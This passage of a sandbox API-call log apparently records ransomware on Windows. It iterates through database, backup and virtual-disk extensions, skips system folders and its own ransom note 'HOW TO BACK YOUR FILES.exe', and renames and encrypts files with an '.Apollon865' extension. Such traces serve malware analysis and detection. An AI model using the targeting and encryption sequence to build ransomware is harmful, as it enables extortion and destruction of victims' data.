	[0046.877] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0046.877] lstrlenW (lpString="db-wal") returned 6
	[0046.877] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0046.877] lstrlenW (lpString="dbc") returned 3
	[0046.877] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0046.877] lstrlenW (lpString="dbs") returned 3
	[0046.877] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0046.877] lstrlenW (lpString="dbt") returned 3
	[0046.877] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0046.877] lstrlenW (lpString="dbv") returned 3
	[0046.878] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0046.878] lstrlenW (lpString="dbx") returned 3
	[0046.878] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0046.878] lstrlenW (lpString="dcb") returned 3
	[0046.878] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0046.878] lstrlenW (lpString="dct") returned 3
	[0046.878] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0046.878] lstrlenW (lpString="dcx") returned 3
	[0046.878] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0046.878] lstrlenW (lpString="ddl") returned 3
	[0046.878] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0046.878] lstrlenW (lpString="dlis") returned 4
	[0046.878] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0046.878] lstrlenW (lpString="dp1") returned 3
	[0046.878] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0046.878] lstrlenW (lpString="dqy") returned 3
	[0046.878] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0046.878] lstrlenW (lpString="dsk") returned 3
	[0046.878] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0046.878] lstrlenW (lpString="dsn") returned 3
	[0046.878] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0046.878] lstrlenW (lpString="dtsx") returned 4
	[0046.878] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0046.878] lstrlenW (lpString="dxl") returned 3
	[0046.878] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0046.878] lstrlenW (lpString="eco") returned 3
	[0046.878] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0046.878] lstrlenW (lpString="ecx") returned 3
	[0046.878] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0046.878] lstrlenW (lpString="edb") returned 3
	[0046.878] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0046.878] lstrlenW (lpString="epim") returned 4
	[0046.878] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0046.879] lstrlenW (lpString="fcd") returned 3
	[0046.879] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0046.879] lstrlenW (lpString="fdb") returned 3
	[0046.879] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0046.879] lstrlenW (lpString="fic") returned 3
	[0046.879] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0046.879] lstrlenW (lpString="flexolibrary") returned 12
	[0046.879] lstrlenW (lpString="fm5") returned 3
	[0046.879] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0046.879] lstrlenW (lpString="fmp") returned 3
	[0046.879] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0046.879] lstrlenW (lpString="fmp12") returned 5
	[0046.879] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0046.879] lstrlenW (lpString="fmpsl") returned 5
	[0046.879] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0046.879] lstrlenW (lpString="fol") returned 3
	[0046.879] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0046.879] lstrlenW (lpString="fp3") returned 3
	[0046.879] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0046.879] lstrlenW (lpString="fp4") returned 3
	[0046.879] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0046.879] lstrlenW (lpString="fp5") returned 3
	[0046.879] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0046.879] lstrlenW (lpString="fp7") returned 3
	[0046.879] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0046.879] lstrlenW (lpString="fpt") returned 3
	[0046.879] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0046.879] lstrlenW (lpString="frm") returned 3
	[0046.879] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0046.879] lstrlenW (lpString="gdb") returned 3
	[0046.879] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0046.879] lstrlenW (lpString="gdb") returned 3
	[0046.880] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0046.880] lstrlenW (lpString="grdb") returned 4
	[0046.880] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0046.880] lstrlenW (lpString="gwi") returned 3
	[0046.880] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0046.880] lstrlenW (lpString="hdb") returned 3
	[0046.880] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0046.880] lstrlenW (lpString="his") returned 3
	[0046.880] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0046.880] lstrlenW (lpString="ib") returned 2
	[0046.880] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0046.880] lstrlenW (lpString="idb") returned 3
	[0046.880] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0046.880] lstrlenW (lpString="ihx") returned 3
	[0046.880] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0046.880] lstrlenW (lpString="itdb") returned 4
	[0046.880] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0046.880] lstrlenW (lpString="itw") returned 3
	[0046.880] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0046.880] lstrlenW (lpString="jet") returned 3
	[0046.880] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0046.880] lstrlenW (lpString="jtx") returned 3
	[0046.880] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0046.880] lstrlenW (lpString="kdb") returned 3
	[0046.880] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0046.880] lstrlenW (lpString="kexi") returned 4
	[0046.880] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0046.880] lstrlenW (lpString="kexic") returned 5
	[0046.880] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0046.880] lstrlenW (lpString="kexis") returned 5
	[0046.880] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0046.880] lstrlenW (lpString="lgc") returned 3
	[0046.880] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0046.880] lstrlenW (lpString="lwx") returned 3
	[0046.880] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0046.881] lstrlenW (lpString="maf") returned 3
	[0046.881] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0046.881] lstrlenW (lpString="maq") returned 3
	[0046.881] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0046.881] lstrlenW (lpString="mar") returned 3
	[0046.881] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0046.881] lstrlenW (lpString="marshal") returned 7
	[0046.881] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0046.881] lstrlenW (lpString="mas") returned 3
	[0046.881] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0046.881] lstrlenW (lpString="mav") returned 3
	[0046.881] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0046.881] lstrlenW (lpString="maw") returned 3
	[0046.881] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0046.881] lstrlenW (lpString="mdbhtml") returned 7
	[0046.881] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0046.881] lstrlenW (lpString="mdn") returned 3
	[0046.881] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0046.881] lstrlenW (lpString="mdt") returned 3
	[0046.881] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0046.881] lstrlenW (lpString="mfd") returned 3
	[0046.881] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0046.881] lstrlenW (lpString="mpd") returned 3
	[0046.881] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0046.881] lstrlenW (lpString="mrg") returned 3
	[0046.881] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0046.881] lstrlenW (lpString="mud") returned 3
	[0046.881] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0046.881] lstrlenW (lpString="mwb") returned 3
	[0046.881] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0046.881] lstrlenW (lpString="myd") returned 3
	[0046.881] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0046.881] lstrlenW (lpString="ndf") returned 3
	[0046.881] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0046.881] lstrlenW (lpString="nnt") returned 3
	[0046.882] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0046.882] lstrlenW (lpString="nrmlib") returned 6
	[0046.882] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0046.882] lstrlenW (lpString="ns2") returned 3
	[0046.882] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0046.882] lstrlenW (lpString="ns3") returned 3
	[0046.882] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0046.882] lstrlenW (lpString="ns4") returned 3
	[0046.882] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0046.882] lstrlenW (lpString="nsf") returned 3
	[0046.882] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0046.882] lstrlenW (lpString="nv") returned 2
	[0046.882] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0046.882] lstrlenW (lpString="nv2") returned 3
	[0046.882] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0046.882] lstrlenW (lpString="nwdb") returned 4
	[0046.882] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0046.882] lstrlenW (lpString="nyf") returned 3
	[0046.882] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0046.882] lstrlenW (lpString="odb") returned 3
	[0046.882] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0046.882] lstrlenW (lpString="odb") returned 3
	[0046.882] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0046.882] lstrlenW (lpString="oqy") returned 3
	[0046.882] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0046.882] lstrlenW (lpString="ora") returned 3
	[0046.882] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0046.882] lstrlenW (lpString="orx") returned 3
	[0046.882] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0046.882] lstrlenW (lpString="owc") returned 3
	[0046.882] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0046.882] lstrlenW (lpString="p96") returned 3
	[0046.882] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0046.882] lstrlenW (lpString="p97") returned 3
	[0046.882] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0046.883] lstrlenW (lpString="pan") returned 3
	[0046.883] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0046.883] lstrlenW (lpString="pdb") returned 3
	[0046.883] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0046.883] lstrlenW (lpString="pdm") returned 3
	[0046.883] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0046.883] lstrlenW (lpString="pnz") returned 3
	[0046.883] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0046.883] lstrlenW (lpString="qry") returned 3
	[0046.883] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0046.883] lstrlenW (lpString="qvd") returned 3
	[0046.883] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0046.883] lstrlenW (lpString="rbf") returned 3
	[0046.883] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0046.883] lstrlenW (lpString="rctd") returned 4
	[0046.883] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0046.883] lstrlenW (lpString="rod") returned 3
	[0046.883] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0046.883] lstrlenW (lpString="rodx") returned 4
	[0046.883] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0046.883] lstrlenW (lpString="rpd") returned 3
	[0046.883] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0046.883] lstrlenW (lpString="rsd") returned 3
	[0046.883] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0046.883] lstrlenW (lpString="sas7bdat") returned 8
	[0046.883] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0046.883] lstrlenW (lpString="sbf") returned 3
	[0046.883] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0046.883] lstrlenW (lpString="scx") returned 3
	[0046.883] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0046.883] lstrlenW (lpString="sdb") returned 3
	[0046.883] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0046.883] lstrlenW (lpString="sdc") returned 3
	[0046.883] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0046.883] lstrlenW (lpString="sdf") returned 3
	[0046.884] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0046.884] lstrlenW (lpString="sis") returned 3
	[0046.884] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0046.884] lstrlenW (lpString="spq") returned 3
	[0046.884] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0046.884] lstrlenW (lpString="te") returned 2
	[0046.884] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0046.884] lstrlenW (lpString="teacher") returned 7
	[0046.884] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0046.884] lstrlenW (lpString="tmd") returned 3
	[0046.884] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0046.884] lstrlenW (lpString="tps") returned 3
	[0046.884] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0046.884] lstrlenW (lpString="trc") returned 3
	[0046.884] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0046.884] lstrlenW (lpString="trc") returned 3
	[0046.884] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0046.884] lstrlenW (lpString="trm") returned 3
	[0046.884] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0046.884] lstrlenW (lpString="udb") returned 3
	[0046.884] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0046.884] lstrlenW (lpString="udl") returned 3
	[0046.884] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0046.884] lstrlenW (lpString="usr") returned 3
	[0046.884] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0046.884] lstrlenW (lpString="v12") returned 3
	[0046.884] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0046.884] lstrlenW (lpString="vis") returned 3
	[0046.884] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0046.884] lstrlenW (lpString="vpd") returned 3
	[0046.884] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0046.884] lstrlenW (lpString="vvv") returned 3
	[0046.884] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0046.884] lstrlenW (lpString="wdb") returned 3
	[0046.885] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0046.885] lstrlenW (lpString="wmdb") returned 4
	[0046.885] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0046.885] lstrlenW (lpString="wrk") returned 3
	[0046.885] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0046.885] lstrlenW (lpString="xdb") returned 3
	[0046.885] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0046.885] lstrlenW (lpString="xld") returned 3
	[0046.885] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0046.885] lstrlenW (lpString="xmlff") returned 5
	[0046.885] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0046.885] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Public\\Desktop\\desktop.ini.Apollon865") returned 46
	[0046.885] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Desktop\\desktop.ini" (normalized: "c:\\users\\public\\desktop\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\Desktop\\desktop.ini.Apollon865" (normalized: "c:\\users\\public\\desktop\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0046.886] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop\\desktop.ini.Apollon865" (normalized: "c:\\users\\public\\desktop\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0046.886] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=174) returned 1
	[0046.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0046.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0046.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0046.886] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf788) returned 1
	[0046.887] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0046.887] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0046.887] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b0, lpName=0x0) returned 0x160
	[0046.888] MapViewOfFile (hFileMappingObject=0x160, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b0) returned 0x120000
	[0046.888] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf788) returned 1
	[0046.889] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0046.889] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0046.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0046.889] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0046.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0046.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0046.889] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0046.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5ba970
	[0046.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5aa3c8
	[0046.889] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba970 | out: hHeap=0x580000) returned 1
	[0046.889] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa3c8 | out: hHeap=0x580000) returned 1
	[0046.889] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0046.889] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0046.890] CloseHandle (hObject=0x160) returned 1
	[0046.890] CloseHandle (hObject=0x15c) returned 1
	[0046.891] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0046.891] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0046.891] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0046.891] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df21ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df21ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7df21ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8d1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1
	[0046.891] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.891] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="Apollon865.txt.exe") returned 1
	[0046.891] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2=".") returned 1
	[0046.891] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="..") returned 1
	[0046.891] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="windows") returned -1
	[0046.891] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="bootmgr") returned 1
	[0046.891] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="temp") returned -1
	[0046.891] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="pagefile.sys") returned -1
	[0046.891] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="boot") returned 1
	[0046.891] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="ids.txt") returned -1
	[0046.891] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="ntuser.dat") returned -1
	[0046.891] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="perflogs") returned -1
	[0046.891] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="MSBuild") returned -1
	[0046.891] lstrlenW (lpString="Google Chrome.lnk") returned 17
	[0046.891] lstrlenW (lpString="C:\\Users\\Public\\Desktop\\desktop.ini") returned 35
	[0046.891] lstrcpyW (in: lpString1=0x119e638, lpString2="Google Chrome.lnk" | out: lpString1="Google Chrome.lnk") returned="Google Chrome.lnk"
	[0046.891] lstrlenW (lpString="Google Chrome.lnk") returned 17
	[0046.891] lstrlenW (lpString="Apollon865") returned 10
	[0046.891] lstrcmpiW (lpString1="Chrome.lnk", lpString2="Apollon865") returned 1
	[0046.891] lstrlenW (lpString=".dll") returned 4
	[0046.891] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2=".dll") returned 1
	[0046.891] lstrlenW (lpString=".lnk") returned 4
	[0046.892] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2=".lnk") returned 1
	[0046.892] lstrlenW (lpString=".ini") returned 4
	[0046.892] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2=".ini") returned 1
	[0046.892] lstrlenW (lpString=".sys") returned 4
	[0046.892] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2=".sys") returned 1
	[0046.892] lstrlenW (lpString="Google Chrome.lnk") returned 17
	[0046.892] lstrlenW (lpString="bak") returned 3
	[0046.892] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1
	[0046.892] lstrlenW (lpString="ba_") returned 3
	[0046.892] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1
	[0046.892] lstrlenW (lpString="dbb") returned 3
	[0046.892] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1
	[0046.892] lstrlenW (lpString="vmdk") returned 4
	[0046.892] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1
	[0046.892] lstrlenW (lpString="rar") returned 3
	[0046.892] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1
	[0046.892] lstrlenW (lpString="zip") returned 3
	[0046.892] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1
	[0046.892] lstrlenW (lpString="tgz") returned 3
	[0046.892] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1
	[0046.892] lstrlenW (lpString="vbox") returned 4
	[0046.892] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1
	[0046.892] lstrlenW (lpString="vdi") returned 3
	[0046.892] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1
	[0046.892] lstrlenW (lpString="vhd") returned 3
	[0046.892] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1
	[0046.892] lstrlenW (lpString="vhdx") returned 4
	[0046.892] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1
	[0046.892] lstrlenW (lpString="avhd") returned 4
	[0046.892] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1
	[0046.892] lstrlenW (lpString="db") returned 2
	[0046.892] lstrcmpiW (lpString1="nk", lpString2="db") returned 1
	[0046.892] lstrlenW (lpString="db2") returned 3
	[0046.892] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1
	[0046.892] lstrlenW (lpString="db3") returned 3
	[0046.893] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1
	[0046.893] lstrlenW (lpString="dbf") returned 3
	[0046.893] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1
	[0046.893] lstrlenW (lpString="mdf") returned 3
	[0046.893] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1
	[0046.893] lstrlenW (lpString="mdb") returned 3
	[0046.893] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1
	[0046.893] lstrlenW (lpString="sql") returned 3
	[0046.893] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1
	[0046.893] lstrlenW (lpString="sqlite") returned 6
	[0046.893] lstrcmpiW (lpString1="me.lnk", lpString2="sqlite") returned -1
	[0046.893] lstrlenW (lpString="sqlite3") returned 7
	[0046.893] lstrcmpiW (lpString1="ome.lnk", lpString2="sqlite3") returned -1
	[0046.893] lstrlenW (lpString="sqlitedb") returned 8
	[0046.893] lstrcmpiW (lpString1="rome.lnk", lpString2="sqlitedb") returned -1
	[0046.893] lstrlenW (lpString="xml") returned 3
	[0046.893] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1
	[0046.893] lstrlenW (lpString="$er") returned 3
	[0046.893] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1
	[0046.893] lstrlenW (lpString="4dd") returned 3
	[0046.893] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1
	[0046.893] lstrlenW (lpString="4dl") returned 3
	[0046.893] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1
	[0046.893] lstrlenW (lpString="^^^") returned 3
	[0046.893] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1
	[0046.893] lstrlenW (lpString="abs") returned 3
	[0046.893] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1
	[0046.893] lstrlenW (lpString="abx") returned 3
	[0046.893] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1
	[0046.893] lstrlenW (lpString="accdb") returned 5
	[0046.893] lstrcmpiW (lpString1="e.lnk", lpString2="accdb") returned 1
	[0046.893] lstrlenW (lpString="accdc") returned 5
	[0046.893] lstrcmpiW (lpString1="e.lnk", lpString2="accdc") returned 1
	[0046.893] lstrlenW (lpString="accde") returned 5
	[0046.894] lstrcmpiW (lpString1="e.lnk", lpString2="accde") returned 1
	[0046.894] lstrlenW (lpString="accdr") returned 5
	[0046.894] lstrcmpiW (lpString1="e.lnk", lpString2="accdr") returned 1
	[0046.894] lstrlenW (lpString="accdt") returned 5
	[0046.894] lstrcmpiW (lpString1="e.lnk", lpString2="accdt") returned 1
	[0046.894] lstrlenW (lpString="accdw") returned 5
	[0046.894] lstrcmpiW (lpString1="e.lnk", lpString2="accdw") returned 1
	[0046.894] lstrlenW (lpString="accft") returned 5
	[0046.894] lstrcmpiW (lpString1="e.lnk", lpString2="accft") returned 1
	[0046.894] lstrlenW (lpString="adb") returned 3
	[0046.894] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1
	[0046.894] lstrlenW (lpString="adb") returned 3
	[0046.894] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1
	[0046.894] lstrlenW (lpString="ade") returned 3
	[0046.894] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1
	[0046.894] lstrlenW (lpString="adf") returned 3
	[0046.894] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1
	[0046.894] lstrlenW (lpString="adn") returned 3
	[0046.894] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1
	[0046.894] lstrlenW (lpString="adp") returned 3
	[0046.894] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1
	[0046.894] lstrlenW (lpString="alf") returned 3
